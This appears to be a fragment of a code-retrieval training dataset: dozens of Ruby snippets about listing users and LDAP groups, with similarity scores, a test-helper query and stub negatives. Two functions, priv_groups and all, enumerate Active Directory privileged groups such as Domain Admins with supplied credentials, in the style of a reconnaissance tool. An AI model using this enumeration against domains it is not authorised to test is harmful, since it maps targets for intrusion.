"def get_users(user_group_id=nil) \n # {{{\n users = Array.new\n if is_atomic? then return nil end\n if user_group_id.nil? then \n user_group_id = attr['user_group_id'] \n end\n \n own_users = User_Group_Hierarchy.select { |e| \n e.where(\n (e['user_group_id__parent'] == user_group_id)\n )\n e.order_by('user_group_name', :asc)\n }.each { |ugh|\n user = User_Group.select { |ug|\n ug.where(ug['user_group_id'] == ugh.attr['user_group_id__child'])\n ug.order_by('user_group_name', :asc)\n }.first\n if user.is_atomic? then users.push(user) \n else\n users += get_users(ugh.attr['user_group_id__child'])\n end\n }\n \n return users\n \n end",
"def users\n Webmail::User.in(group_ids: id)\n end",
"def recursive_members()\n return @users if @users.present?\n\n # False is the users, true groups\n grouped = member(true).group_by{|g| LdapGroup.dn_is_group? g}\n @users = grouped[false] || []\n groups = grouped[true] || []\n\n cached_groups = {}\n\n groups.each do |g_dn|\n key = dn.rdns.first.values.first\n\n group = cached_groups[key] || LdapGroup.find(g_dn)\n cached_groups[key] = group\n\n group_users = group.member.group_by{ |g| LdapGroup.dn_is_group? g }[false]\n @users.push(*group_users)\n end\n @users\n end",
"def priv_groups(domain,username,password,dc_ip)\n groupArr = [\"Domain Admins\",\"Enterprise Admins\",\"Administrators\"]\n groupArr.each {|group| enum_group_membership(domain,username,password,dc_ip,group)}\n\n priv_groups = Array.new\n\n groupArr.each do |group|\n groupFormatted = group.gsub(' ','-')\n file = \"#{domain}-#{groupFormatted}.txt\"\n r = File.open(file)\n r.each_line {|line| priv_groups.push line.split(\"\\\\\")[1].chomp}\n end\n\n priv_groups.sort!.uniq!\n\n for i in 0 .. priv_groups.length-1 do\n group = priv_groups[i].to_s\n puts \"\"\n puts \"[+] Searching for users in the group #{group}\"\n enum_group_membership(domain,username,password,dc_ip,group)\n end\nend",
"def list_user(param = '1110')\n @group_users.each { |item| puts item.info(param) }\n end",
"def users\n users = []\n members.each do |member|\n if member.is_a? User\n users << member\n elsif member.is_a? UserGroup\n users + member.users\n else\n raise UserGroupException, \"While retrieving users from a user group (#{self}), found a member that was not a User or UserGroup record!\"\n end\n end\n users.uniq(&:id)\n end",
"def all_users\n self.users +\n User.where(institution: self.institution).\n select{ |u| u.belongs_to_user_group?(self) }\n end",
"def get_ldap_group_members(groupname:)\n begin\n group = []\n get_ldap_group_member(groupname: groupname) do |_g, m|\n if block_given?\n yield get_ldap_user_attributies(upi: m, attributes: { 'sn' => 'surname', 'givenname' => 'given_name', 'mail' => 'email', 'cn' => 'external_id' })\n else\n group << get_ldap_user_attributies(upi: m, attributes: { 'sn' => 'surname', 'givenname' => 'given_name', 'mail' => 'email', 'cn' => 'external_id' })\n end\n end\n return group unless block_given?\n rescue StandardError => e\n warn e\n end\n end",
"def list_all_users\n\n end",
"def group_users(table)\n @group_users ||= {}\n @group_users[table] ||= User.where(id: group_user_ids(table)).to_a\n end",
"def all_users\n result = []\n api.search(accounts_dn, ::LDAP::LDAP_SCOPE_SUBTREE, accounts_filter) do |user|\n result << user.to_hash\n end\n result\n end",
"def index\n @groups_user = GroupsUser.find(params[:id])\n @groups_users = GroupsUser.all\n end",
"def get_users_in_group(group_id)\n @url = \"http://#{$canvas_host}/api/v1/groups/#{group_id}/users\"\n puts \"@url is #{@url}\"\n\n @getResponse = HTTParty.get(@url, :headers => $header)\n puts(\" GET to get users in group has Response.code #{@getResponse.code} and getResponse is #{@getResponse}\")\n\n user_data = @getResponse.parsed_response\n set_of_user_ids = Set.new\n\n user_data.each do |user_data_info|\n set_of_user_ids.add user_data_info[\"id\"]\n end \n\n if @getResponse.empty?\n puts \"WARNING: No users in group from Active listener group 1 or Active listener group 2, program may not function correctly!\"\n end\n\n return set_of_user_ids\nend",
"def get_group_users\n Log.add_info(request, params.inspect)\n\n @group_id = nil\n if !params[:tree_node_id].nil?\n @group_id = params[:tree_node_id]\n elsif !params[:group_id].blank?\n @group_id = params[:group_id]\n end\n SqlHelper.validate_token([@group_id])\n\n submit_url = url_for(:controller => 'desktop', :action => 'get_group_users')\n render(:partial => 'common/select_users', :layout => false, :locals => {:target_attr => :id, :submit_url => submit_url})\n end",
"def view_members()\n a = []\n GroupMember.all.each {|r|\n if r.group_id == @group.id\n a.push(r.username)\n end\n }\n puts a\n end",
"def get_users_in_group(group_id)\n list_users_in_group = HTTParty.get(\n \"#{$canvas_url}/api/v1/groups/#{group_id}/users\",\n headers: { \"authorization\" => \"Bearer #{$canvas_token}\" }\n )\n\n user_data = list_users_in_group.parsed_response\n\n arr_of_user_ids = Array.new\n\n user_data.each do |user_data_info|\n arr_of_user_ids.push user_data_info[\"id\"]\n end \n\n return arr_of_user_ids\nend",
"def index\n @users = @group.users\n end",
"def get_all_groups\n grps = self.get_groups_recursively\n grps << self.home_group\n logged_in_group = Group.new(:name => \"logged in user\")\n logged_in_group.id = 0\n grps << logged_in_group\n anonymous_group = Group.new(:name => \"anonymous user\")\n anonymous_group.id = -1\n grps << anonymous_group\n return grps.compact.uniq\n end",
"def get_users(host, base='dc=griddynamics,dc=net', scope=LDAP::LDAP_SCOPE_SUBTREE, filter='(objectclass=person)')\n\n puts \"Getting users from #{host} with base #{base} with filter #{filter}\"\n\n attrs = ['uid', 'mail', 'sn', 'givenName' ,'cn', 'sshPublicKey']\n\n conn = LDAP::Conn.new(host)\n\n puts \"Connection received: #{conn.inspect}\"\n\n conn.set_option(LDAP::LDAP_OPT_PROTOCOL_VERSION, 3)\n\n puts conn.bind('','')\n\n conn.perror(\"bind\")\n\n begin\n users = Hash.new\n\n conn.search(base, scope, filter, attrs) { |entry|\n groups = []\n entry.dn.split(',').each { |dn|\n tmp = dn.split('=')\n if tmp[0] == 'ou'\n groups << tmp[1]\n end\n }\n\n if groups.include?('people') and groups.include?('griddynamics') and not groups.include?('deleted')\n users[entry.vals('uid')[0].dup] = {\n :email => entry.vals('mail')[0].dup,\n :name => entry.vals('givenName')[0].dup,\n :last_name => entry.vals('sn')[0].dup,\n :full_name => entry.vals('cn')[0].dup,\n :ssh_public_key => entry.vals('sshPublicKey').nil? ? nil : entry.vals('sshPublicKey')[0].dup,\n :groups => groups.dup\n }\n end\n }\n return users\n rescue LDAP::ResultError\n conn.perror(\"search\")\n exit\n end\n conn.perror(\"search\")\n conn.unbind\nend",
"def findAvailableUsers\n @current_group = Group.find_by_id(session[:current_group_id])\n @possible_users = []\n\n # Check if user is included in current group\n User.find_each(:batch_size => 5000) do |pos_user|\n catch :pos_user_cannot_be_added do\n if (!@current_group.users.include?(pos_user))\n\n # Checks if user is already added to another group that exists in the current group's projects\n # (Users should only be added to one group in a single project)\n # --> Possible user is not added to the possible user array if this is the case\n @current_group.projects.find_each(:batch_size => 5000) do |project|\n project.groups.find_each(:batch_size => 5000) do |group|\n if (group.users.include?(pos_user))\n throw :pos_user_cannot_be_added\n end\n end\n end\n @possible_users << pos_user\n end\n end\n end\n end",
"def users()\n\t\t\t\tusers = UserList.new()\n\n if dscl?\n # The dscl version is still limited\n idlist = `#{DSCLBIN} . -list /Users UniqueID`\n grouplist = `#{DSCLBIN} . -list /Users PrimaryGroupID`\n idlist.each do | line |\n user = UserInfo.new()\n name,id = line.split\n user.username = name\n user.uid = id.to_i\n users[name] = user\n end\n else\n # get the list of users using niutil\n textlist = `niutil -list . /users`\n textlist.each() { |line|\n line.strip!()\n user = UserInfo.new()\n user.username = line[/^[0-9]+\\s+(\\S+)$/, 1]\n userlist = `niutil -read . /users/#{user.username}`\n userlist.each() { |subline|\n subline.strip!()\n case(subline)\n when(/^home:/)\n user.homedir = subline[/:\\s*(.*)$/, 1]\n when(/^uid:/)\n user.uid = subline[/:\\s*(.*)$/, 1].to_i()\n when(/^gid:/)\n user.gid = subline[/:\\s*(.*)$/, 1].to_i()\n when(/^realname:/)\n user.fullname = subline[/:\\s*(.*)$/, 1]\n end\n }\n users[user.username] = user\n }\n end\n\t\t\t\treturn(users)\n\t\t\tend",
"def group_invitable_users\n group = Group.find(params[:group_id])\n @users = User.where(\"LOWER(name) LIKE ?\", \"%#{@query}%\")\n .where.not(id: group.members).limit(10)\n .sort_by { |user| SearchScore.name(user.name, @query) }\n\n render \"users\"\n end",
"def search_for_group\n @groups = @login_user.all_groups(params[:term])\n @usernames = []\n @groups.collect{|group| @usernames << group.name}\n respond_to do |format|\n format.json { render :json => @usernames }\n end\n end",
"def get_users\n res = search(@config[:userdn])\n \n if (res[:message] != \"Success\")\n # tbd handle error\n return nil\n end\n \n if (res[:values] == [])\n return nil\n end\n \n users = []\n \n res[:values].each do |user|\n begin\n uid = user.uidnumber.first\n gid = user.gidnumber.first\n rescue\n uid = 0\n gid = 0\n end\n \n users << {\n :username => user.uid.first,\n :uid => uid,\n :gid => gid,\n :first => user.givenname.first,\n :last => user.sn.first\n }\n end\n \n return users\n end",
"def index\n @user_groups = current_user.users_groups.page(params[:page]).per(20)\n end",
"def groups\n UserGroups.new(:id => id).get.items\n end",
"def getAllUsers()\n puts \"\\nUSERS:\"\n puts \"-------------------------------------------------\"\n @users.each {|user| puts \"ID: \" + user.id.to_s + \" Name: \" + user.name}\n puts \"-------------------------------------------------\"\n end",
"def get_all_usergroups\n response = get_siteinfo('usergroups')\n ret = {}\n response['query']['usergroups'].each do |g|\n ret[g['name']] = g['rights']\n end\n ret\n end",
"def index\n @users = @group.users.page(params[:page])\n end",
"def send_user_list(path)\n path = path[1..-1]\n path = path[0..-2] if path.ends_with?(\"/\")\n results = []\n I3.directory.find_people(:groups, path).each do |uuid|\n p = I3.directory.read_person(uuid)\n result = I3::SharedObject.new\n result.account_name = p.account_name.to_s.downcase\n result.first_name = p.first_name.to_s\n result.last_name = p.last_name.to_s\n result.description = p.description.to_s\n results << result\n end #each\n I3.server.send_object(results)\n end",
"def ldap_groups\n User.walk_ldap_groups(User.ldap_member_of(user_key), []).sort\n end",
"def retrieve_groups_from_ldap\n LdapUser.retrieve_groups self.login\n end",
"def all(domain,username,password,dc_ip)\n\n enum_dom_users(domain,username,password,dc_ip)\n\n enum_dom_groups(domain,username,password,dc_ip)\n\n groupArr = [\"Domain Admins\",\"Domain Computers\",\"Enterprise Admins\",\"Administrators\"]\n\n groupArr.each {|group| enum_group_membership(domain,username,password,dc_ip,group)}\n\n priv_groups(domain,username,password,dc_ip)\n\n grab_attr(domain,username,password,dc_ip)\nend",
"def get_users_from_select(select)\n select = select.reject { |id| id.blank? }\n unless select.blank?\n group_ids = select.select {|group_id| group_id.start_with?(\"g\")}\n users = User.find(select - group_ids)\n group_users = group_ids.map {|group_id| group_id.sub! \"g\",\"\"}\n .map {|group_id| Group.find(group_id).users}\n .flatten\n group_users.concat(users).uniq\n end\n end",
"def show\n @group_members = GroupMember.where(group_id:params[:id])\n @users_in_group=[]\n @group_members.each do |f|\n @user = User.find(f[:user_id])\n @users_in_group.push(@user)\n end\n render json: @users_in_group\n end",
"def member_users(recursive = false)\n @member_users = User.find(:all, distinguishedname: @entry[:member]).delete_if(&:nil?)\n if recursive\n member_groups.each do |group|\n @member_users.concat(group.member_users(true))\n end\n end\n @member_users\n end",
"def all_users\r\n result = []\r\n\r\n self.descendants_and_self.each do |role|\r\n if role == self\r\n result << role.users \r\n else\r\n result << role.all_users\r\n end\r\n end\r\n self.all_groups.each { |group| result << group.all_users }\r\n result.flatten!\r\n result.uniq!\r\n return result\r\n end",
"def related_groups_users\n [].tap do |related_users|\n all_groups.each do |group|\n related_users << group.all_users.reject { |group_user| group_user == self }\n end\n end.flatten.uniq\n end",
"def find_all_gym_users\n self.gym_user_instances.map{|user| user.name } \n end",
"def users\n return @canonical_user_pool if @canonical_user_pool\n Egi::Fedcloud::Vmhound::Log.debug \"[#{self.class}] Retrieving all users\"\n check_retval @user_pool.info!\n\n @canonical_user_pool = []\n @user_pool.each { |user| @canonical_user_pool << canonical_user(user) }\n @canonical_user_pool\n end",
"def get_all\n @user_repository.get_all_users\n end",
"def find_all_usernames\n execute_sql(:read, :user) do\n table.select(:username).map do |row|\n row[:username]\n end\n end\n end",
"def index\n @group = Group.find(params[:id])\n @members = GroupUser.where(:group_id => params[:id])\n end",
"def ldap_groups\n connection = Devise::LDAP::Adapter.ldap_connect(login_with)\n admin_ldap = Devise::LDAP::Connection.admin\n dn = connection.dn\n\n DeviseLdapAuthenticatable::Logger.send(\"MY uniq Getting groups for #{dn}\")\n filter = Net::LDAP::Filter.eq(\"member\", dn)\n\n group_base = connection.instance_variable_get(:@group_base)\n admin_ldap.search(filter: filter, base: group_base).collect(&:dn)\n end",
"def all_users\n `dscl . list /Users`.split(\"\\n\").delete_if { |e| e =~ /^_/ }\n end",
"def owned_groups\n codes = Hydra::LDAP.groups_owned_by_user(uid)\n #puts \"codes: #{codes}\"\n Group.find_all_by_code(codes)\n end",
"def load_users\n @users_not_in_group = User.active.not_in_group(@project_group).limit(100)\n end",
"def fetch_groups!\n ldap_groups.map do |dn|\n /^cn=([^,]+),/i.match(dn)[1]\n end\n end",
"def find_users_of_type(group_type)\n begin\n Skype.groups.find { |g| g.gtype == group_type}.users\n rescue Exception => e\n puts e.message\n end\n end",
"def index\n #redirect_to(:action => 'signup') unless logged_in? || Person.count > 0\n @people = Person.find(:all)\n @users = Ldapuser.find(:all)\n @groups = LdapGroup.find(:all)\n #@group = LdapGroup.find(\"1046\")\n end",
"def get_staff_groups(ldap:, users_groups:)\n filter = Net::LDAP::Filter.eq( 'objectCategory', 'group' ) & Net::LDAP::Filter.eq('cn', '*.staff.uos')\n treebase = 'dc=UoA,dc=auckland,dc=ac,dc=nz'\n\n ldap.search( base: treebase, filter: filter, attributes: [ 'member' ] ) do |entry|\n # eg CN=SCIFAC.staff.uos,OU=uos,OU=Groups,DC=UoA,DC=auckland,DC=ac,DC=nz\n group = entry.dn.split(',')[0].split('=')[1].split('.')[0]\n entry.each do |attribute, values|\n next unless attribute =~ /^member/ # Getting empty member attributes, and new attribute: member;range=0-XXXX for SCIFAC and MEDFAC.\n\n values.each do |value|\n member = value.split('=')[1].split(',')[0]\n users_groups[member] ||= [] # If this is the users first group, then create an Array\n # Add this group to this users group Array, only if group not already in Array\n group_def = @academic_department_code_to_faculty[group]\n if (group_def != nil && (faculty = group_def['faculty'])) != nil && faculty != '' && users_groups[member].include?(faculty) == false\n users_groups[member] << faculty\n end\n end\n end\n end\nend",
"def index\n @groups_all = current_user.groups.paginate(page: params[:page]).order('name ASC')\n\n @owner = current_user\n @users = User.where(\"owner_id = ?\", current_user).order('lastname ASC')\n\n respond_to do |format|\n format.html { render @groups }\n format.json { render json: @groups }\n end\n end",
"def groups\n Group.groups(user_name)\n end",
"def index\n id = -1 \n if params[:id] \n id = params[:id]\n else \n id = current_user.id \n end \n\n @user = User.find(id)\n @group = UserGroup.find_by(user_id: id, name: params[:group])\n\n if [email protected]?\n @group_members = get_members(@user, @group)\n end \n\n end",
"def all_active_directory_users\n filter = Net::LDAP::Filter.construct(\n '(&(objectCategory=organizationalPerson)(givenName=*)(sn=*)(objectClass=User)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))')\n entries = OP_CONN.search(filter: filter)\n users = []\n entries.each do |entry|\n user = User.new(convert_user_attributes(entry))\n user.status = :enabled if (!user.disabled? && user.is_app_user?)\n users << user\n end\n users\n rescue Net::LDAP::LdapError => e\n return []\n end",
"def list_users_for_group(optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'ListUsersForGroup'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'https'\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :group_name\n\t\t\targs[:query]['GroupName'] = optional[:group_name]\n\t\tend\n\t\tself.run(args)\n\tend",
"def get_user_groups\n user_groups.keys\n end",
"def get_members(group_ldap_dn)\n ldap = Net::LDAP.new :host => SiteSetting.ldap_hostname,\n :port => SiteSetting.ldap_port,\n :auth => {\n :method => :simple,\n :username => SiteSetting.ldap_bind_dn,\n :password => SiteSetting.ldap_password\n }\n\n filter = Net::LDAP::Filter.construct('(memberOf='+ group_ldap_dn +')')\n \n treebase = SiteSetting.ldap_base\n\n result_attrs =[\"mail\"]\n \n group_members = []\n ldap.search(:base => treebase, :filter =>\n filter, :attributes => result_attrs,:return_result =>\n false) do |entry|\n group_members.append(entry[\"mail\"])\n end\n group_members\n end",
"def index\n groupname = params[:groupname]\n @groups = Group.all\n @users = User.all\n end",
"def find_users\n if @dir.exist?\n return @dir.entries.each_with_object([]) do |entry, users|\n user_name = entry.basename\n user = User.new(user_name, self)\n if user.exist?\n users << user\n end\n end\n else\n return []\n end\n end",
"def find_groups\n @groups ||= Group.find(:all)\n end",
"def add_x_users(num, *args)\n\n puts \"Adding #{num} users, params=#{args.inspect}\"\n\n org = Org.find(:first)\n\n name = \"Test User\"\n login_name = \"testuser\"\n password = \"password\"\n phone = \"+123456789\"\n validated = true\n group_name = nil\n\n if args.length==1\n params = args[0]\n name = params[:name] if params[:name]\n login_name = params[:username] if params[:username]\n password = params[:password] if params[:password]\n phone = params[:phone] if params[:phone]\n validated = params[:validated] if params[:validated]\n group_name = params[:group]\n end\n\n if group_name and Group.find_by_name(:first,group_name)\n raise \"The group #{group_name} already exists!\"\n end\n \n # find the first unique test user name\n next_avail_user_num = 0\n found = true\n while found do\n next_avail_user_num = next_avail_user_num + 1\n found = User.find_by_login_name(login_name+next_avail_user_num.to_s) != nil \n print \".\"\n end\n\n puts \"found next #{login_name} #{next_avail_user_num}\"\n\n users = []\n num.times do |i|\n u = User.new\n u.org = org\n u.name = name + (next_avail_user_num+i).to_s\n u.login_name = login_name + (next_avail_user_num+i).to_s\n u.password = password\n u.phone = phone\n u.save!\n u.force_sms_validation!(validated)\n users << u\n puts \"Added user #{u.inspect}\"\n end\n\n if group_name\n # now create the group_name from this\n group = Group.new\n group.org = org\n group.name = group_name\n group.save!\n puts \"Added group #{group.inspect}\"\n users.each do |u|\n u.groups << group\n end\n puts \"Added all users to groups\"\n end\n\n users\nend",
"def ldap_busca_grupos_usuario_como_admin(uid, gidnumber, prob)\n grupos = []\n opcon = {\n host: Rails.application.config.x.jn316_servidor,\n port: Rails.application.config.x.jn316_puerto,\n auth: {\n method: :simple, \n username: Rails.application.config.x.jn316_admin,\n password: ENV['JN316_CLAVE']\n }\n }.merge(Rails.application.config.x.jn316_opcon)\n filter = Net::LDAP::Filter.eq( \"objectClass\", 'posixGroup')\n ldap_conadmin = Net::LDAP.new( opcon )\n lgrupos = ldap_conadmin.search(\n base: Rails.application.config.x.jn316_basegrupos, \n filter: filter \n )\n if lgrupos.nil?\n prob << 'No se pudieron cargar grupos: '+\n ldap_conadmin.get_operation_result.code.to_s +\n ' - ' + ldap_conadmin.get_operation_result.message \n return nil\n end\n lgrupos.each do |entry|\n if (entry.gidnumber && gidnumber && \n entry.gidnumber[0] == gidnumber) || \n (uid && entry[:memberuid].include?(uid))\n puts \"OJO gidnumber=#{entry.gidnumber}, cn=#{entry.cn}\"\n g = crear_actualizar_grupo(entry, prob)\n if (g.nil?)\n return nil\n end\n grupos << g.id\n end\n end\n return grupos\n rescue Exception => exception\n prob << 'Problema conectando a servidor LDAP '+\n '(ldap_busca_grupos_usuario_como_admin). Excepción: ' + exception.to_s\n puts prob\n return nil\n end",
"def get_groups\n users = User.where('is_group =? and institution_id=? and center_id=? and edutorid like ?',true,params[:institution_id],params[:center_id],\"%SG-%\").select(:id)\n list = Profile.find_all_by_user_id(users).map {|u| Hash[value: u.user_id, name: u.firstname]}\n render json: list\n end",
"def memberships_users\n group_ids_select = memberships.select(:user_id).where(user_type: 'Group')\n\n User.where('id IN (:user_ids) OR id IN (:group_owner_ids)',\n user_ids: memberships.select(:user_id).where(user_type: 'User'),\n group_owner_ids: Group.where(id: group_ids_select).select(:owner_id))\n end",
"def index\n @groups = Group.all\n @users = User.all\n end",
"def index\n @user = User.find(current_user.id)\n @groups = @user.groups.all\n end",
"def index\n @usergroups = Usergroup.all\n end",
"def index\n @groups = []\n for member in current_user.members\n @groups << member.group\n end\n end",
"def index\n if @current_group.is_administrator? || has_role('u')\n @masqueradable = true;\n else\n redirect_to :action => :edit_self, :id => @current_user.id\n return\n end\n @group = @authorized_group || @current_group\n #@group = Group.find(params[:group_id])\n @users = User.find(:all, :select => \"u.*\",\n :joins => \"AS u INNER JOIN role_mappings AS gu ON u.id = gu.user_id\",\n :conditions => \"gu.group_id = #{@group.id}\",\n :order => \"u.login_name\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def index\n\t\t@user = User.find(session[:id])\n\t\t@groups = Group.all\n\tend",
"def get_users(neo)\n\n\tcypher_query = ' START me = node:nodes_index(type = \"user\")'\n\tcypher_query << ' RETURN ID(me), me.name'\n\tcypher_query << ' ORDER BY ID(me)'\n\tneo.execute_query(cypher_query)['data']\n\nend",
"def index\n unless user_signed_in?\n redirect_to new_user_session_path\n else\n @group_id = UserDefaultGroup.find_by_user_id(current_user.id)\n @group_id = @group_id.group_id unless @group_id.nil?\n #@users = User.all\n @users = User.joins(\"Left Join (select user_id, group_id From group_memberships) fm ON fm.user_id = users.id\").where(\"fm.group_id = ?\", @group_id)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end\n end",
"def test_userlist(groups)\n\t\tUser.joins(:groups).includes(:groups).merge(groups).explain #map {|user| user.name}.to_s.html_safe\n\t\t# User.joins(:groups).merge(groups).map {|user| \"<tr><td>#{user.name}</td><td>#{user.groups.map {|group| group.name}.to_s.html_safe}</td></tr>\"}.uniq.join.html_safe\n\tend",
"def index\n @groups = Group.paginate :page => (params[:page]||1), :order => 'name ASC', :per_page => 10\n \n @self_member_groups = Group.find(User.find(current_user).group_members.map(&:group_id)) \n @self_created_groups = User.find(current_user).groups\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @groups }\n end\n end",
"def getUserGroups(userName)\n\n if(userName == nil)\n return nil\n end\n user = loadUser(userName)\n at = 0\n groupsV = []\n while user[\"group#{at}\"] != nil do\n groupsV <= user[\"group#{at}\"]\n at = at.next\n end\n return groupsV\n\n end",
"def usersInGroup\n @users = User.all\n @selected_group = Group.find(params[:selected_group])\n session[:current_group_id] = @selected_group.id\n end",
"def view_all_users\n # !! get all user so can interact after viewing them? all_users\n # User.select(:username).each_with_index {|user, index| puts \"#{index+1}. #{user.username}\"}\n #??????\n User.select(:username).each {|user| puts user.username}\n end",
"def safe_for_group(users, group)\n group_users = group.users\n selected_users = []\n\n if users\n # Have any users been checked?\n users.keys.each do |id|\n user = User.find_by_id(id)\n selected_users << user if group_users.include?(user)\n end\n else\n # Otherwise just use the whole group\n selected_users = group_users - [current_user]\n end\n\n selected_users\n end",
"def all_users()\n User.all\n end",
"def core_user_get_users(criteria)\n params = {}\n\n counter = 0\n criteria.each do |key,value|\n params['criteria[' + counter.to_s + '][key]'] = key.to_s\n params['criteria[' + counter.to_s + '][value]'] = value\n counter = counter + 1\n end\n\n response = request(params)\n\n if response['users']\n users = response['users'].map { |user| Hashie::Mash.new(user) }\n end\n end",
"def index\n @member_groups = @user.groups_where_member\n @admin_groups = @user.groups_where_admin\n end",
"def index\n @groups = Group.where(:user_id => current_user)\n end",
"def get_users\n #users = []\n static_admins=[\"root\", \"n8\", \"daemon\", \"puppet\", \"nobody\"]\n userlist=`/usr/bin/dscl . -list /users`.split(\" \").slice(1..-1)-static_admins\n userlist.grep(/^[a-z]/) { |u| puts u }\nend",
"def index_global\n authorize UserGroup\n @user_groups = UserGroup.where(institution: nil).order(:name)\n end",
"def group_members_list(external_group_id: nil, group_id: nil, trace: false, &block)\n if group_id != nil\n group_query = \"{\\\"group\\\":{\\\".tag\\\":\\\"group_id\\\",\\\"group_id\\\":\\\"#{group_id}\\\"}}\"\n elsif external_group_id != nil\n group_query = \"{\\\"group\\\":{\\\".tag\\\":\\\"group_external_id\\\",\\\"group_external_id\\\":\\\"#{external_group_id}\\\"}}\"\n else\n return nil\n end\n r = dropbox_query(query: '2/team/groups/members/list', query_data: group_query, trace: trace)\n r['members'].each(&block)\n while r['has_more']\n r = dropbox_query(query: '2/team/groups/members/list/continue', query_data: \"{\\\"cursor\\\":\\\"#{r['cursor']}\\\"}\", trace: trace)\n r['members'].each(&block)\n end\n end",
"def all\n # Grab first five matching users\n @users = User.where(\"LOWER(name) LIKE ?\", \"%#{@query}%\").limit(5)\n\n # Grab first five matching groups\n @groups = Group.where.not(privacy: :secret_group)\n .where(\"LOWER(name) LIKE ?\", \"%#{@query}%\").limit(5)\n\n # Sort the users and groups together\n @users_and_groups = (@users + @groups).sort_by { |item| SearchScore.name(item.name, @query) }\n end",
"def get_groups(host, base='dc=griddynamics,dc=net', scope=LDAP::LDAP_SCOPE_SUBTREE)\n attrs = ['cn', 'memberUid']\n\n conn = LDAP::Conn.new(host)\n conn.set_option(LDAP::LDAP_OPT_PROTOCOL_VERSION, 3)\n puts conn.bind('','')\n\n conn.perror(\"bind\")\n\n begin\n groups = Hash.new\n conn.search(base, scope, '(objectClass=groupOfNames)', attrs) { |entry|\n groups[entry.vals('cn')[0]] = entry.vals('memberUid')\n }\n return groups\n rescue LDAP::ResultError\n conn.perror(\"search\")\n exit\n end\n conn.perror(\"search\")\n conn.unbind\nend",
"def list\n @all_users = User.find(:all)\n end",
"def list\n @groups = Group.find(:all, :order => 'name')\n end",
"def gather_group_end_users_and_keys\n # Group associated with center enduser\n end_user_group = EndUser.where(group_name: @enduser[:group_name])\n\n # Sort all end users by distance \n @endusers_red = end_user_group.within(@red, :origin => @enduser[:address]);\n @endusers_yellow = end_user_group.in_range(@red..@yellow, :origin => @enduser[:address]);\n @endusers_green = end_user_group.beyond(@yellow, :origin => @enduser[:address]);\n \n # Remove @enduser\n @endusers_red = @endusers_red.to_a - [@enduser] \n @endusers_yellow = @endusers_yellow.to_a - [@enduser]\n @endusers_green = @endusers_green.to_a - [@enduser]\t\n \n # Gather keys assigned to these endusers\n @red_keys = get_assigned_keys(@endusers_red)\n @yellow_keys = get_assigned_keys(@endusers_yellow)\n @green_keys = get_assigned_keys(@endusers_green)\n end",
"def users\n call(\"UserGroup\", \"get_user_collection_from_role\", \"roleName\" => @name).xpath(\"//spdir:User\", NS).map do |row|\n attributes = clean_attributes(row.attributes)\n User.new(@site, attributes[\"LoginName\"])\n end\n end"
] |
[
"0.78314066",
"0.7585664",
"0.73860115",
"0.7291694",
"0.72674584",
"0.71922326",
"0.7169876",
"0.7158042",
"0.712217",
"0.70689505",
"0.70674247",
"0.70466727",
"0.7025594",
"0.70176053",
"0.6983516",
"0.69832444",
"0.69269663",
"0.69039005",
"0.6802331",
"0.6790027",
"0.6788059",
"0.6774068",
"0.6745573",
"0.67363113",
"0.6724346",
"0.67199516",
"0.6698279",
"0.6678492",
"0.66771966",
"0.6667882",
"0.66659284",
"0.6662403",
"0.66502124",
"0.66437733",
"0.6641786",
"0.66372496",
"0.6635791",
"0.66124386",
"0.6585798",
"0.6577353",
"0.65627074",
"0.6555933",
"0.6553834",
"0.6542593",
"0.65375894",
"0.65330476",
"0.65325195",
"0.6527512",
"0.6527198",
"0.6524795",
"0.6510022",
"0.6508372",
"0.65045696",
"0.64883196",
"0.64833033",
"0.64806193",
"0.64691067",
"0.64511865",
"0.6450046",
"0.6449073",
"0.64454776",
"0.64434904",
"0.64425045",
"0.6420942",
"0.6419865",
"0.6380785",
"0.6371025",
"0.6366493",
"0.6336884",
"0.63320166",
"0.63316697",
"0.6327917",
"0.63265985",
"0.6312925",
"0.63127595",
"0.6310494",
"0.62958896",
"0.6262953",
"0.6246668",
"0.6244645",
"0.6243546",
"0.6242886",
"0.6237538",
"0.62364626",
"0.6231317",
"0.6218352",
"0.62177587",
"0.6216521",
"0.6215823",
"0.6213273",
"0.62121683",
"0.62091565",
"0.61984646",
"0.6189266",
"0.6186853",
"0.6180427",
"0.6178948",
"0.61785966",
"0.61726975",
"0.61689585"
] |
0.69696784
|
16
|
CODE FOR TESTING: (DO NOT EDIT)
|
def assert_equal(expected, actual)
unless expected == actual
abort "Expected #{expected} to match #{actual} on line #{caller.first.split(":")[1]}"
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def private; end",
"def probers; end",
"def schubert; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def terpene; end",
"def stderrs; end",
"def berlioz; end",
"def trd; end",
"def identify; end",
"def refutal()\n end",
"def suivre; end",
"def weber; end",
"def verdi; end",
"def spec; end",
"def spec; end",
"def who_we_are\r\n end",
"def villian; end",
"def operations; end",
"def operations; end",
"def internship_passed; end",
"def loc; end",
"def loc; end",
"def loc; end",
"def formation; end",
"def implementation; end",
"def implementation; end",
"def custom; end",
"def custom; end",
"def anchored; end",
"def malts; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def ibu; end",
"def jack_handey; end",
"def rossini; end",
"def internal; end",
"def gounod; end",
"def dh; end",
"def intensifier; end",
"def isolated; end",
"def isolated; end",
"def schumann; end",
"def blg; end",
"def zuruecksetzen()\n end",
"def tld; end",
"def tld; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def r; end",
"def r; end",
"def hiss; end",
"def parslet; end",
"def parslet; end",
"def parslet; end",
"def parslet; end",
"def sitemaps; end",
"def offences_by; end",
"def init; end",
